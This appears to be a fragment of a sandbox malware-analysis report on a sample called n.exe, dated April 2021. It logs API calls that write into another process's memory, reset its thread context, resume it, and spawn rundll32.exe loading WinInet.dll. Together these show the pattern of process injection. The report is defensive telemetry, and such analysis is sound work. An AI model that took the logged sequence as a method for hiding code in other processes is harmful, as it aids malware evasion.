WriteProcessMemory April 8, 2021, 5:45 p.m.	buffer: ÿÿÿÿû~(ü~Pý~mèÿÿ jHâý~± base_address: 0x7efde000 process_identifier: 7552 process_handle: 0x00000210	1	1
NtSetContextThread April 8, 2021, 5:45 p.m.	registers.eip: 2000355780 registers.esp: 1112768 registers.edi: 0 registers.eax: 9287568 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000208 process_identifier: 7552	1	0
NtResumeThread April 8, 2021, 5:45 p.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 8104	1	0
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 6324 thread_handle: 0x00000498 process_identifier: 4764 current_directory: filepath: C:\Windows\System32\rundll32.exe track: 1 command_line: "C:\Windows\system32\rundll32.exe" "C:\Windows\syswow64\WinInet.dll",DispatchAPICall 1 filepath_r: C:\Windows\system32\rundll32.exe stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x0000049c	1	1

n.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All